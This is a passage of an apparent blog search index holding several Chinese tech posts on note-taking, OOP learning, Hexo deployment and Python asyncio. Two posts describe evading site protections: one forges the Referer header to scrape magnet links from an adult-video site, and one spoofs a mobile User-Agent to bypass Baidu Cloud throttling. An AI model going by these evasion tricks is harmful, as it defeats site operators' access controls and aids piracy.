继续开工，嗯？这个问题好像看到过更好的解决办法，要不要试着优化下？算了算了，反正办法在笔记里存着，以后有时间再重构吧 -\u0026gt;\u0026hellip;\u0026quot;\n那几个月里我一直就陷在这样的循环里，同时还沾沾自喜于自己的“努力”而不自觉。直到某天，有个面试者坐到我面前时，我惊讶于他面谈时对各类业界动态新框架新技术口若悬河，但是实际的笔试题目却做得惨不忍睹，有些基础概念题都直接留白。我试探性地问了下原因，结果他特别诚恳地看着我说，这些问题的答案都存在他包里的笔记本电脑里，只要他想，分分钟就能搜出来。\n当时我下意识地反问了一句：“那谁不会啊？”\n说完我自己都惊了一下。\n那天之后，我很少再去碰那些笔记软件了。第二大脑什么的都是骗人的，在我得老年痴呆之前，应该不会特别依赖它们。曾经我一个月要从各大技术论坛微博twitter上收集几十篇教程，上百篇技术长文，真正看完的，不到五篇。之后我发现，把产生这些知识的源头掐掉，统统加到127.0.0.1里去，节省下的时间认认真真读几本经典纸质书，跟着官方文档走一遍教程，不收集，多动手多思考，技术长进比之前快得多。实际做项目的时候碰到解决不了的问题怎么办？直接开google去搜呗。根本没必要去浪费时间维护一个私人的知识库。\n在人类数千年漫长的文明史中，收藏本来是一件相当奢侈，大量耗费金钱、时间、精力的事情。但到了互联网的时代，这一切被简化成了点点鼠标就能完成的美事。或许因为盗版盛行的原因，它几乎已经是免费的，但它对于个体时间精力的耗费，却始终没有变化。而且，躺在硬盘里的资源们，就像王阳明的花一样，你未看它时，它与你同归于寂，一点关系都没有。\n《银河英雄传说》里杨威利说过一句名言：“如果你不记得了，那说明它不重要。” 或许可以再补充一句，“如果你看不完，那就没必要看完。” 大概就是这样，不知不觉写了这么多，与所有现在或曾经的互联网资源收集成瘾症患者共勉。\n转自V2EX一位v友的回答\n","permalink":"https://www.hacktech.cn/post/2017/01/you-need-to-think-about-it-when-you-have-notes/","summary":"\u003cp\u003e我有段时间疯狂使用各类笔记软件，相信什么云记忆，第二大脑之类的说法。后来发现，没啥意义。记多了根本看不完，你在当时没时间看的，过后更没时间看。笔记唯一剩下的作用就是检索，但是你没看过的内容，你又怎么知道要检索啥呢？而且，自己维护的资料库，怎么也没办法跟google的检索比。善用google的搜索规则，比浪费时间剪藏保存一大堆网页有效得多。\u003c/p\u003e","title":"笔记带给我们是真实的知识增长么？你需要好好考虑了"},{"content":"evernote(印象笔记)\nWiz\n有道云\n麦库\nleanote\nGoogleKeep\nOneNote\nSimpleNote(wp家的，免费)\npocket(稍后读的软件，同类的还有Instapaper，国内的收趣)\nMyBase\nRaysNote(v友开发)\nCintaNotes\nhttps://jitaku.io\n开源\nGitit-Bigger\nLaverna\npaperwork\nDokuWiki\nleanote\nPermaNote\nCherryTree\nBrainStorm\n","permalink":"https://www.hacktech.cn/post/2017/01/pkm-class-software-collection/","summary":"\u003cp\u003eevernote(印象笔记)\u003c/p\u003e\n\u003cp\u003eWiz\u003c/p\u003e","title":"PKM（个人知识管理）类软件收集(偶尔更新列表)"},{"content":"读了这篇文章之后感觉蛮受启发的，在此分享一下，献给和我一样处于困惑的朋友。\n正文如下：\n本人也是coding很多年，虽然很失败，但也总算有点失败的心得，不过我在中国，大多数程序员都是像我一样，在一直走着弯路。如果想成为一个架构师，就必须走正确的路，否则离目标越来越远，正在辛苦工作的程序员们，你们有没有下面几种感觉？\n一、我的工作就是按时完成领导交给我的任务，至于代码写的怎样，知道有改进空间，但没时间去改进，关键是领导也不给时间啊。\n二、我发现我的水平总是跟不上技术的进步，有太多想学的东西要学，jQuery用的人最近比较多啊，听说最近MVC比较火，还有LINQ，听说微软又有Silverlight了……\n三、我发现虽然我工作几年了，除了不停的coding，Ctrl+C和Ctrl+V更熟练了，但编码水平并没有提高，还是一个普通程序员，但有人已经做到架构师了。\n四、工作好几年了，想跳槽换个工作，结果面试的考官都问了一些什么数据结构，什么垃圾回收，什么设计模式之类的东西，虽然看过，但是平时用不着，看了也忘记了，回答不上来，结果考官说我基础太差。。。\n有没有，如果没有，接下来就不用看了，你一定是大拿了，或者已经明白其中之道了，呵呵。\n如果有，恭喜你，你进入学习误区了，如果想在技术上前进的话，就不能一直的coding，为了完成需求而工作，必须在coding的同时，让我们的思维，水平也在不停的提高。\n写代码要经历下面几个阶段。\n一 、你必须学习面向对象的基础知识，如果连这个都忘了，那你的编程之路注定是在做原始初级的重复！\n很多程序员都知道类、方法、抽象类、接口等概念，但是为什么要面向对象，好处在哪里，要解决什么问题？只是明白概念，就是表达不清楚，然后在实 际工作中也用不上，过了一段时间，面向对象的东西又模糊了，结果是大多数程序员用着面向对象的语言做着面向过程的工作，因此要学习面向对象，首先应该明白 面向对象的目的是什么？\n面向对象的目的是什么？\n开发语言在不断发展，从机器语言，到汇编，到高级语言，再到第四代语言;软件开发方法在不断发展，从面向过程，面向对象，到面向方面等。虽然这些都在不断发展，但其所追求的目标却一直没变，这些目标就是：\n1. 降低软件开发的复杂度\n2. 提高软件开发的效率\n3. 提高软件质量：可维护性，可扩展性，可重用性等。\n其中语言的发展，开发方法的发展在1,2两条上面取得了极大的进步，但对于第3条，我们不能光指望开发方法本身来解决。\n提高软件质量：可维护性，可扩展性，可重用性等，再具体点，就是高内聚、低耦合，面向对象就是为了解决第3条的问题。因此要成为一个好的程序员，最绕不开的就是面向对象了。\n二、 要想学好面向对象，就必须学习设计模式。\n假定我们了解了面向对象的目的，概念了，但是我们coding过程中却发现，我们的面向对象的知识似乎一直派不上用场，其实道理很简单，是因为 我们不知道怎么去用，就像游泳一样，我们已经明白了游泳的好处，以及游泳的几种姿势，狗刨、仰泳、蛙泳、自由泳，但是我们依然不会游泳。。。。\n因此有了这些基本原则是不行的，我们必须有一些更细的原则去指导我们的设计，这就有了更基础的面向对象的五大原则，而把这几种原则更详细的应用 到实际中来，解决实际的问题，这就是设计模式。因此要学好OO，必须要学习设计模式，学习设计模式，按大师的话说，就是在人类努力解决的许多领域的成功方 案都来源于各种模式，教育的一个重要目标就是把知识的模式一代一代传下去。\n因此学习设计模式，就像我们在看世界顶级的游泳比赛，我们为之疯狂，为之着迷。\n三、学习设计模式\n正像我们并不想只是看别人表演，我们要自己学会游泳，这才是我们的目的所在。\n当我们看完几篇设计模式后，我们为之精神振奋，在新的coding的时候，我们总是想努力的用上学到的设计模式，但是经常在误用模式，折腾半天发现是在脱裤子抓痒。。。\n当学完设计模式之后，我们又很困惑，感觉这些模式简直太像了，很多时候我们分不清这些模式之间到底有什么区别，而且明白了设计过程中的一个致命 的东西——过度设计，因为设计模式要求我们高扩展性，高重用性，但是在需求提出之初，我们都不是神，除了依靠过去的经验来判断外，我们不知道哪些地方要扩 展，哪些地方要重用，而且过去的经验就一定是正确的吗？所以我们甚至不敢再轻易用设计模式，而是还一直在用面向过程的方法在实现需求。\n四、学习重构\n精彩的代码是怎么想出来的，比看到精彩的代码更加令人期待。于是我们开始思考，这些大师们莫非不用工作，需求来了没有领导规定完成时间，只以设 计精彩的代码为标准来开展工作？这样的工作太爽了，也不可能，老板不愿意啊。就算这些理想的条件他都有，他就一开始就设计出完美的代码来了？也不可能啊， 除非他是神，一开始就预料到未来的所有需求，那既然这些条件都没有，他们如何写出的精彩代码？\nJoshua Kerievsky在那篇著名的《模式与XP》〔收录于《极限编程研究》一书）中明白地指出：在设计前期使用模式常常导致过度工程（over- engineering)。这是一个残酷的现实，单凭对完美的追求无法写出实用的代码，而「实用」是软件压倒一切的要素。\n在《重构——改善既有的代码的设计》一书中提到，通过重构（refactoring），你可以找出改变的平衡点。你会发现所谓设计不再是一切动 作的前提，而是在整个开发过程中逐渐浮现出来。在系统构筑过程中，你可以学习如何强化设计；其间带来的互动可以让一个程序在开发过程中持续保有良好的设 计。\n总结起来就是说，我们在设计前期就使用设计模式，往往导致设计过度，因此应该在整个开发过程，整个需求变更过程中不断的重构现在的代码，才能让 程序一直保持良好的设计。由此可见，开发过程中需要一直重构，否则无论当初设计多么的好，随着需求的改变，都会变成一堆烂代码，难以维护，难以扩展。所谓 重构是这样一个过程：「在不改变代码外在行为的前提下，对代码做出修改，以改进程序的内部结构」。重构的目标，就是设计模式，更本质的讲就是使程序的架构 更趋合理，从而提高软件的可维护性，可扩展性，可重用性。\n《重构——改善既有的代码的设计》一书也是Martin Fowler等大师的作品，软件工程领域的超级经典巨著，与另一巨著《设计模式》并称\u0026quot;软工双雄\u0026quot;，不可不读啊。\n五、开始通往优秀软件设计师的路上\n通过设计模式和重构，我们的所学和我们工作的coding终于结合上了，我们可以在工作中用面向对象的思维去考虑问题，并开始学习重构了。这就 像游泳一样，我们看完了各种顶级的游泳比赛，明白各种规则，名人使用的方法和技巧，现在是时候回家去村旁边的小河里练练了。练习也是需要有教练的，推荐另 一本经典书叫《重构与模式》，引用他开篇的介绍，本书开创性地深入揭示了重构与模式这两种软件开发关键技术之间的联系，说明了通过重构实现模式改善既有的 设计，往往优于在新的设计早期使用模式。本书不仅展示了一种应用模式和重构的创新方法，而且有助于读者结合实战深入理解重构和模式。\n这本书正是我们需要的教练，值得一读。\n六、没有终点，只有坚持不懈的专研和努力。\n经过了几年的坚持，终于学会了灵活的运用各种模式，我们不需要去刻意的想用什么模式，怎么重构。程序的目标，就是可维护性，可扩展性，可重用 性，都已经成了一种编程习惯，一种思维习惯，就像我们练习了几年游泳之后，我们不用再刻意的去考虑，如何让自己能在水上漂起来，仰泳和蛙泳的区 别\u0026hellip;.. 而是跳进水里，就自然的游了起来，朝对岸游去。但是要和大师比起来，嘿嘿，我们还有很长的路要走，最终也可能成不了大师，但无论能不能成为大师，我们已经 走在了成为大师的正确的路上，我们和别的程序员已经开始不一样，因为他们无论再过多少年，他们的水平不会变，只是在重复造轮子，唯一比你快的，就是 Ctrl+C和Ctrl+V。\n正确的路上，只要坚持，就离目标越来越近，未来就一定会是一个优秀的架构师，和优秀架构师的区别，可能只是时间问题。\n转自李凡的博客\n","permalink":"https://www.hacktech.cn/post/2017/01/web-high-level-development/","summary":"\u003cp\u003e读了这篇文章之后感觉蛮受启发的，在此分享一下，献给和我一样处于困惑的朋友。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e正文如下：\u003c/strong\u003e\u003c/p\u003e","title":"web高级开发的成长之路"},{"content":"安装GIT和Node.JS 首先在自己的电脑上安装好git和node.js，这一步怎么做自己搜索，安装软件都是下一步下一步，应该不难,GIT安装完成后打开git cmd输入\n1 2 git config --global user.name \u0026#34;Your Name\u0026#34; git config --global user.email \u0026#34;email@example.com\u0026#34; 因为Git是分布式版本控制系统，所以，每个机器都必须自报家门：你的名字和Email地址。 **注意：**git config命令的\u0026ndash;global参数，用了这个参数，表示你这台机器上所有的Git仓库都会使用这个配置，当然也可以对某个仓库指定不同的用户名和Email地址。\n#安装并初始化HEXO 如果你是在Windows上，请打开Git-CMD 假如你是想在D:\\blog\\下建立你的博客，请先在D盘下新建文件夹blog 在Git-CMD中输入npm install -g hexo-cli回车开始安装hexo 安装完成后将git cmd工作目录切换至D:\\blog\\然后输入hexo init回车，或者直接在git cmd中输入hexo init d:\\\\blog 如果你的d:\\blog\\下的目录形式是\n1 2 3 4 5 6 7 8 . ├── _config.yml // 网站的配置信息，你可以在此配置大部分的参数。 ├── package.json ├── scaffolds // 模板文件夹。当你新建文章时，Hexo会根据scaffold来建立文件。 ├── source // 存放用户资源的地方 | ├── _drafts | └── _posts └── themes // 存放网站的主题。Hexo会根据主题来生成静态页面。 那么你的hexo安装并初始化完成 然后输入hexo server启动本地demo，打开浏览器，查看http://localhost:4000/可以看到自己的博客\n将之托管到github和coding上 github项目创建 1.注册github账号 2.创建项目仓库 进入github.com，然后点击右上角 + \u0026ndash;\u0026gt;new repository\n3.在Repository name中填写Github账号名.github.io，点击Create repository，完成创建。\nCoding项目创建 1.注册Coding账号 2.创建项目仓库\n3.填写项目名称描述创建即可\n配置SHH 配置shh key是让本地git项目与远程的github建立联系 1.检查是否已经有SSH Key，打开Git Bash，输入\n1 cd ~/.ssh 2.如果没有.ssh这个目录，则生成一个新的SSH，输入\n1 ssh-keygen -t rsa -C \u0026#34;your e-mail\u0026#34; 注意1: 此处的邮箱地址，你可以输入自己的邮箱地址；注意2: 此处的「-C」的是大写的「C」 接下来几步都直接按回车键,然后系统会要你输入密码\n1 2 Enter passphrase (empty for no passphrase):\u0026lt;输入加密串\u0026gt; Enter same passphrase again:\u0026lt;再次输入加密串\u0026gt; 这个密码会在你提交项目时使用，如果为空的话提交项目时则不用输入。这个设置是防止别人往你的项目里提交内容。个人建议为空比较方便 注意：输入密码的时候没有*字样的，你直接输入就可以了。 3.最后看到这样的界面，就成功设置ssh key了 添加 SSH Key 到 GitHub和Coding 复制~/.ssh/id_rsa.pub中的内容 ~是个人文件夹，比如我的电脑上是C:\\Users\\Administrator.ssh\\id_rsa.pub，将其中的文本复制 进入github，点击头像\u0026ndash;\u0026gt;Setting\u0026ndash;\u0026gt;SSH and GPG keys,然后在右侧点击New SSH key， Title随便写，key中填写id_rsa.pub中复制的内容，然后Add SSH key就ok了 进入Coding.net，点击头像\u0026ndash;\u0026gt;个人设置\u0026ndash;\u0026gt;SSH公钥，新增公钥，公钥名称随便，公钥内容是填写id_rsa.pub中复制的内容，有效期可以勾选永久，然后添加ok\n测试SSH是否配置成功 1.打开Git Bash，然后输入\n1 ssh -T git@github.com 如配置了密码则要输入密码,输完按回车 如果显示以下内容，则说明Github中的ssh配置成功。\n1 2 Hi username! You\u0026#39;ve successfully authenticated, but GitHub does not provide shell access. 2.再输入\n1 ssh -T git@git.coding.net 如果显示以下则说明coding中的ssh配置成功\n1 Hello username You\u0026#39;ve connected to Coding.net by SSH successfully! 创建Github Pages和Coding Pages 服务 1.GitHub Pages分两种，一种是你的GitHub用户名建立的username.github.io这样的用户\u0026amp;组织页（站），另一种是依附项目的pages。想建立个人博客是用的第一种，形如cnfeat.github.io这样的可访问的站，每个用户名下面只能建立一个。 Coding Pages服务开启在官网说的很详细，不知道请百度 2.打开D:\\blog文件夹中的_config.yml文件，找到如下位置，填写\n1 2 3 4 5 6 7 # Deployment ## Docs: https://hexo.io/docs/deployment.html deploy: - type: git repo: github: git@github.com:yourname/yourname.github.io.git,master coding: git@git.coding.net:yourname/yourname.git,coding-pages 注： (1) 其中yourname替换成你的Github账户名;(2)注意在yml文件中，:后面都是要带空格的。 #部署完成 在blog文件夹中空白处右击打开Git Bash输入\n1 2 hexo clean hexo d- g 此时，通过访问http://yourname.github.io和http://yourname.coding.me可以看到默认的Hexo首页面（与之前本地测试时一样）。\n","permalink":"https://www.hacktech.cn/post/2017/01/hexo-in-github-and-coding-net-deployment-and-splitting-1/","summary":"\u003ch1 id=\"安装git和nodejs\"\u003e安装GIT和Node.JS\u003c/h1\u003e\n\u003cp\u003e首先在自己的电脑上安装好git和node.js，这一步怎么做自己搜索，安装软件都是下一步下一步，应该不难,GIT安装完成后打开git cmd输入\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e2\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egit config --global user.name \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Your Name\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egit config --global user.email \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;email@example.com\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e因为Git是分布式版本控制系统，所以，每个机器都必须自报家门：你的名字和Email地址。\n**注意：**git config命令的\u0026ndash;global参数，用了这个参数，表示你这台机器上所有的Git仓库都会使用这个配置，当然也可以对某个仓库指定不同的用户名和Email地址。\u003c/p\u003e","title":"hexo在github和coding.net部署并分流（一）"},{"content":" 本文主要从一下几个方面进行说明:\n什么是异步(Asynchronous)编程 为什么要使用异步编程？ 如何利用Python实现异步 什么是异步编程 文章开始前，先简单介绍下各种 IO 模型： 最容易做的是阻塞 IO 即读写数据时，需要等待操作完成，才能继续执行。进阶的做法就是用多线程来处理需要 IO 的部分，缺点是开销会有些大。\n接着是非阻塞 IO 即读写数据时，如果暂时不可读写，则立刻返回，而不等待。因为不知道什么时候是可读写的，所以轮询时可能会浪费 CPU 时间。\n然后是 IO 复用 即在读写数据前，先检查哪些描述符是可读写的，再去读写。select 和 poll 就是这样做的，它们会遍历所有被监视的描述符，查看是否满足，这个检查的过程是阻塞的。而 epoll、kqueue 和 /dev/poll 则做了些改进，事先注册需要检查哪些描述符的哪些事件，当状态发生变化时，内核会调用对应的回调函数，将这些描述符保存下来；下次获取可用的描述符时，直接返回这些发生变化的描述符即可。\n再之后是信号驱动 即描述符就绪时，内核发送 SIGIO 信号，再由信号处理程序去处理这些信号即可。不过信号处理的时机是从内核态返回用户态时，感觉也得把这些事件收集起来才好处理，有点像模拟 IO 复用了。\n最后是异步 IO 即读写数据时，只注册事件，内核完成读写后（读取的数据会复制到用户态），再调用事件处理函数。这整个过程都不会阻塞调用线程，不过实现它的操作系统比较少，Windows 上有比较成熟的 IOCP，Linux 上的 AIO 则有不少缺点。 虽然真正的异步 IO 需要中间任何步骤都没有阻塞，这对于某些只是偶尔需要处理 IO 请求的情况确实有用（比如文本编辑器偶尔保存一下文件）；但对于服务器端编程的大多数情况而言，它的主线程就是用来处理 IO 请求的，如果在空闲时不阻塞在 IO 等待上，也没有别的事情能做，所以本文就不纠结这个异步是否名副其实了。\n然后我们了解一下事件循环(Event Loop) Event Loop 是一个很重要的概念，指的是计算机系统的一种运行机制。\n我们一般的单线程程序中，所有任务需要排队，前一个任务结束，才会执行后一个任务。如果前一个任务耗时很长，后一个任务就不得不一直等着。\n如果排队是因为计算量大，CPU忙不过来，倒也算了，但是很多时候CPU是闲着的，因为IO设备（输入输出设备）很慢（比如Ajax操作从网络读取数据），不得不等着结果出来，再往下执行。\n那么这时主线程完全可以不管IO设备，挂起处于等待中的任务，先运行排在后面的任务。等到IO设备返回了结果，再回过头，把挂起的任务继续执行下去。\n于是，所有任务可以分成两种，一种是同步任务（synchronous），另一种是异步任务（asynchronous）。同步任务指的是，在主线程上排队执行的任务，只有前一个任务执行完毕，才能执行后一个任务；异步任务指的是，不进入主线程、而进入\u0026quot;任务队列\u0026quot;（task queue）的任务，只有\u0026quot;任务队列\u0026quot;通知主线程，某个异步任务可以执行了，该任务才会进入主线程执行。 具体来说，异步执行的运行机制如下。（同步执行也是如此，因为它可以被视为没有异步任务的异步执行。）\n（1）所有同步任务都在主线程上执行，形成一个执行栈（execution context stack）。 （2）主线程之外，还存在一个\u0026quot;任务队列\u0026quot;（task queue）。只要异步任务有了运行结果，就在\u0026quot;任务队列\u0026quot;之中放置一个事件。 （3）一旦\u0026quot;执行栈\u0026quot;中的所有同步任务执行完毕，系统就会读取\u0026quot;任务队列\u0026quot;，看看里面有哪些事件。那些对应的异步任务，于是结束等待状态，进入执行栈，开始执行。 （4）主线程不断重复上面的第三步。 下图就是主线程和任务队列的示意图。\n只要主线程空了，就会去读取\u0026quot;任务队列\u0026quot;，这个过程会不断重复。\n所谓异步是相对于同步（Synchronous）的概念来说的，之所以容易造成混乱，是因为刚开始接触这两个概念时容易把同步看做是同时，而同时不是意味着并行（Parallel）吗？然而实际上同步或者异步是针对于时间轴的概念，同步意味着顺序、统一的时间轴，而异步则意味着乱序、效率优先的时间轴。比如在爬虫运行时，先抓取 A 页面，然后从中提取下一层页面 B 的链接，此时的爬虫程序的运行只能是同步的，B 页面只能等到 A 页面处理完成之后才能抓取；然而对于独立的两个页面 A1 和 A2，在处理 A1 网络请求的时间里，与其让 CPU 空闲而 A2 等在后面，不如先处理 A2，等到谁先完成网络请求谁就先来进行处理，这样可以更加充分地利用 CPU，但是 A1 和 A2 的执行顺序则是不确定的，也就是异步的。\n为什么要使用异步编程？ CPU的速度远远快于磁盘、网络等IO。在一个线程中，CPU执行代码的速度极快，然而，一旦遇到IO操作，如读写文件、发送网络数据时，就需要等待IO操作完成，才能继续进行下一步操作。这种情况称为同步IO。\n在IO操作的过程中，当前线程被挂起，而其他需要CPU执行的代码就无法被当前线程执行了。\n因为一个IO操作就阻塞了当前线程，导致其他代码无法执行，所以我们必须使用多线程或者多进程来并发执行代码，为多个用户服务。每个用户都会分配一个线程，如果遇到IO导致线程被挂起，其他用户的线程不受影响。\n多线程和多进程的模型虽然解决了并发问题，但是系统不能无上限地增加线程。由于系统切换线程的开销也很大，所以，一旦线程数量过多，CPU的时间就花在线程切换上了，真正运行代码的时间就少了，结果导致性能严重下降。\n由于我们要解决的问题是CPU高速执行能力和IO设备的龟速严重不匹配，多线程和多进程只是解决这一问题的一种方法。\n另一种解决IO问题的方法是异步IO。当代码需要执行一个耗时的IO操作时，它只发出IO指令，并不等待IO结果，然后就去执行其他代码了。一段时间后，当IO返回结果时，再通知CPU进行处理。\n如何利用Python实现异步 我们首先需要了解以下几个概念：\nEvent Loop Coroutine 其中Event Loop在前面已经解释过 Coroutine是协程，具体解释可以查阅协程\nPython 3.5 以后推荐使用 async/await 关键词来定义协程，它具有如下特性：\n通过 await 将可能阻塞的行为挂起，直到有结果之后继续执行，Event loop 也是据此来对多个协程的执行进行调度的； 协程并不像一般的函数一样，通过 coro() 进行调用并不会执行它，而只有将它放入 Event loop 进行调度才能执行。 这里我就从廖大哪里搬运个小例子(有改动)\n1 2 3 4 5 6 7 8 9 10 11 12 import threading import asyncio async def hello(): print(\u0026#39;Hello world! (%s)\u0026#39; % threading.currentThread()) await asyncio.sleep(1) print(\u0026#39;Hello again! (%s)\u0026#39; % threading.currentThread()) loop = asyncio.get_event_loop() tasks = [hello(), hello()] loop.run_until_complete(asyncio.wait(tasks)) loop.close() 执行结果\n1 2 3 4 5 Hello world! (\u0026lt;_MainThread(MainThread, started 140735195337472)\u0026gt;) Hello world! (\u0026lt;_MainThread(MainThread, started 140735195337472)\u0026gt;) (暂停约1秒) Hello again! (\u0026lt;_MainThread(MainThread, started 140735195337472)\u0026gt;) Hello again! (\u0026lt;_MainThread(MainThread, started 140735195337472)\u0026gt;) 其中sleep是我们模拟的io用时，我么你可以从这个小例子中看出，执行hello()的时候，io并未堵塞，而是继续向下执行 hello()会首先打印出Hello world!，然后，由于asyncio.sleep()是一个coroutine，所以线程不会等待asyncio.sleep()，而是直接中断并执行下一个消息循环。当asyncio.sleep()完成时，线程就可以接着执行下一行语句。\n下一篇文章将在此基础上实现一个简洁、普适的爬虫框架\n","permalink":"https://www.hacktech.cn/post/2016/12/python-async-crawler-1/","summary":"\u003chr\u003e\n\u003cp\u003e本文主要从一下几个方面进行说明:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e什么是\u003ca href=\"http://baike.baidu.com/item/%E5%BC%82%E6%AD%A5%E7%BC%96%E7%A8%8B\"\u003e异步(Asynchronous)编程\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e为什么要使用异步编程？\u003c/li\u003e\n\u003cli\u003e如何利用Python实现异步\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e","title":"Python异步爬虫的学习(一)"},{"content":" 起因 有个朋友叫我帮忙写个爬虫，爬取javbus5上面所有的详情页链接，也就是所有的https://www.javbus5.com/SRS-055这种链接， 我一看，嘿呀，这是司机的活儿啊，我绝对不能辱没我老司机的名声（被败坏了可不好），于是开始着手写了\n构思 爬虫调度启动程序crawler.py 页面下载程序downloader.py 页面解析程序pageparser.py 数据库入库与去重管理程序controler.py 爬取入口为第一页，当页面中存在下一页的超链接继续往下爬，这是个死循环，跳出条件为没有了下一页的链接\n在某一页中解析页面，返回所有的详情页链接，利用迭代器返回，然后在主程序中调用解析程序对页面信息进行解析并包装成字典返回，其中用详情页网址作为数据库主键，其他信息依次写入数据库\n当这一页所有的子链接爬取完成后，继续爬取下一页。\n将数据存入数据库，用的是sqllite3,失败的网址页存入一个fail_url.txt。\n对于增量爬取，我是这么做的，当爬取到相同的网址时结束程序，这么做也有漏洞，才疏学浅，我没想到太好的办法，希望有好办法的给我说一声（布隆过滤正在研究之中），如果用数据库查询去重，那么势必导致二次爬取，我们都知道，爬虫更多的时间是花在网络等待上\n问题 在写爬虫的过程中遇到了一些问题\n在墙内爬不动，爬取几个之后就失败，这个解决方案只需要全局翻墙爬取就可以了\n本来之前加了多线程并发爬取，但是发现爬取一段时间后会封ip导致整体无法运行，本来想搞个代理池进行并发，结果网上免费的代理太慢太慢，根本打不开网页，于是就改回了单线程\n就是我的那个不完善的增量爬取，导致了你一次爬取就需要爬取完成，不然数据库里面存在你之前爬到的，爬取到你已有的会直接停止\n存在反扒策略 详情页中的磁力链接是ajax动态加载的，通过分析抓包，可以在XHR中找到是一个get请求，至于参数，我开始不知道怎么得来的，后来在html代码中找到了，我放几张图大家就明白了 我们通过对响应内容的查看可以发现磁力的加载访问了类似于这样一个网址\n1 https://www.javbus5.com/ajax/uncledatoolsbyajax.php?gid=30100637207\u0026amp;lang=zh\u0026amp;img=https://pics.javbus.info/cover/59pc_b.jpg\u0026amp;uc=0\u0026amp;floor=921 那么这些get参数是从哪里来呢，这就是通过经验与基本功去发现了\n通过对html源文件的搜索，我们即可直接发现答案 通过分析发现，后面的floor是个随机数参数，一般这种参数可以去除无影响，事实也是这样\n我利用HttpRequest模拟发包，对这个请求直接get，发现所有数据隐藏 那么肯定是有反扒的策略，伪造请求头，反扒也就那么几种，通过分析发现是同源策略，对Referer请求头伪造成来源网址就可以直接获取到内容了 常见的Python2.x编码问题,全部转换为unicode字节流就可以了 这个问题在我博客中已经记录了http://www.53xiaoshuo.com/Python/77.html 有兴趣的童鞋可以看看\n遇到的最闹心问题是详情页的项目抓取，有的详情页的类别不同，我开始只分析了一个页面，导致写的规则在有的页面上频频出错 导致后面对抓取规则进行了大改,重写了分析规则，用了个笨办法，毕竟那小块的html写的十分不规范，正则规则有三种，挺烦人 比如上图的两个就不同，html代码更是稀烂，需要判断有没有这个项，没有就设置空字节入库\n在这其中纠结了一个问题 就是对于这两种的比较，我想上面这种变成下面这种，毕竟第一种的话，soup.find要执行两次，但是下面这种又要比上面那个多一行，丑一点 最后我选择了第二种，所有的信息分析代码就不贴了，具体想看的直接看我的代码文件就好了\n小Tips 对于动态加载的内容的爬取，能不用selenium去模拟浏览器爬取就不用，耗费资源，更好的是自己分析网络请求，然后构造\n对于页面信息的解析，要多看几个页面，看是否相同，别到时候做多事情\n多看别人的博客学习思路\n注意 爬虫依赖的第三方库有Requests，BeautifulSoup，使用前请先pip install这两个第三方库\n测试展与地址 代码地址: coding.net javbus_crawler github.com javbus_crawler 司机的名声总算是没有辱没，秋名山依旧，嘿嘿\n转载请注明来源作者\n博客：www.hacktech.cn 作者：Akkuman ","permalink":"https://www.hacktech.cn/post/2016/12/javbus-spider-old-driver-you-need/","summary":"\u003chr\u003e\n\u003ch1 id=\"起因\"\u003e起因\u003c/h1\u003e\n\u003chr\u003e\n\u003cp\u003e有个朋友叫我帮忙写个爬虫，爬取javbus5上面所有的详情页链接，也就是所有的https://www.javbus5.com/SRS-055这种链接，\n我一看，嘿呀，这是司机的活儿啊，我绝对不能辱没我老司机的名声（被败坏了可不好），于是开始着手写了\u003c/p\u003e\n\u003chr\u003e\n\u003ch1 id=\"构思\"\u003e构思\u003c/h1\u003e\n\u003chr\u003e\n\u003cul\u003e\n\u003cli\u003e爬虫调度启动程序crawler.py\u003c/li\u003e\n\u003cli\u003e页面下载程序downloader.py\u003c/li\u003e\n\u003cli\u003e页面解析程序pageparser.py\u003c/li\u003e\n\u003cli\u003e数据库入库与去重管理程序controler.py\u003c/li\u003e\n\u003c/ul\u003e","title":"javbus爬虫-老司机你值得拥有"},{"content":"百度云限速比较坑，现在基本200k左右 很多人都知道了，但是总有朋友问我，我说明一下\n首先下载IDM(最好支持正版) 下载链接： 百度云shaoit\n开始下载： 一般的话，小文件直接打开浏览器就可以下载\n大文件下载： 首先在chrome浏览器中装上一个User-Agent Switcher for (Google)Chrome插件,然后选择安卓手机，也就是打开这个的手机页面，然后直接用IDM下载\n批量下载与外链获取 使用这个脚本，具体看链接内介绍\nhttps://greasyfork.org/zh-CN/scripts/23635-%E7%99%BE%E5%BA%A6%E7%BD%91%E7%9B%98%E7%9B%B4%E6%8E%A5%E4%B8%8B%E8%BD%BD%E5%8A%A9%E6%89%8B\n如何安装用户脚本 Firefox 及相关的浏览器：Greasemonkey。 Google Chrome、Chromium 及相关的浏览器：Tampermonkey。 Opera (版本 15 